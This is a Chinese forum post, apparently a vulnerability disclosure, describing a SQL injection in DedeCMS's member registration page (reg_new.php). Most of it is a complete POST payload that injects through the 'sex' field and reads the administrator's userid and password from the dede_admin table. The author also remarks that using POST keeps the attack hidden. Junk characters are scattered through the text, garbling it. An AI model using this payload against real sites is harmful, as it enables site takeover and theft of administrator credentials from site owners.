漏洞类型： SQL注射漏洞8 W9 t( m: o: h+ c# x$ B+ X
简要描述：1 w& m! R: a; B E/ ]7 D/ p' } d$ X
1 t0 _! T! w5 W. [9 d. T- d需要magic_quotes_gpc=Off,应该是没有什么大危害的漏洞.
$ k8 y1 O8 G* p9 ^原来在wooyun发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.3 t5 E* M8 v, i8 o' x& p+ j
详细说明：跟这个漏洞
7 L! V. a( H5 X. u5 p$ |! C
0 Z. k' z$ ~# c0 [/ Q5 TWooYun: Dedecms SQL注射导致审核机制绕过漏洞( @ x5 u7 a1 f: t
是一个漏洞.其实不仅仅是审核机制绕过,可以获得管理员密码的.! v# k% E1 m2 V* _+ T
POST提交以下数据,其实不用POST提交的,这样隐蔽点.8 R( G. V/ Y8 p+ q2 C
& W0 k% j" H3 K/ c X' P2 e4 b' [" A5 r
www.political-security.com/member/reg_new.php: \, ~* ?, r1 f) A0 T5 O) ]$ [) k
4 L9 M) q5 h" v) ?. |8 kPOST
- G7 p7 P5 n b7 S! \* f d4 F( T # M7 E: n3 s: T5 i/ w y, e4 y' H
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&
, f& G! S$ j; x. b9 W! e ruserid=c4rp3nt3r&uname=c4rp3nt3r9 d8 m# A3 e: _. c% @& H5 _3 J
&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss
( T8 S! n# \0 Z$ z& @&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,4 Y N: M' @+ m% B5 I6 w) t# ^* S
(select concat(userid,0x3a,pwd) from `dede_admin` limit 1),0,'',1316751900,'',1316751900,'');
& f6 C+ a% Q. I" {( l! Z%00&vdcode=glos&agree= |
发表于 2013-1-19 08:25:02
收藏
支持
反对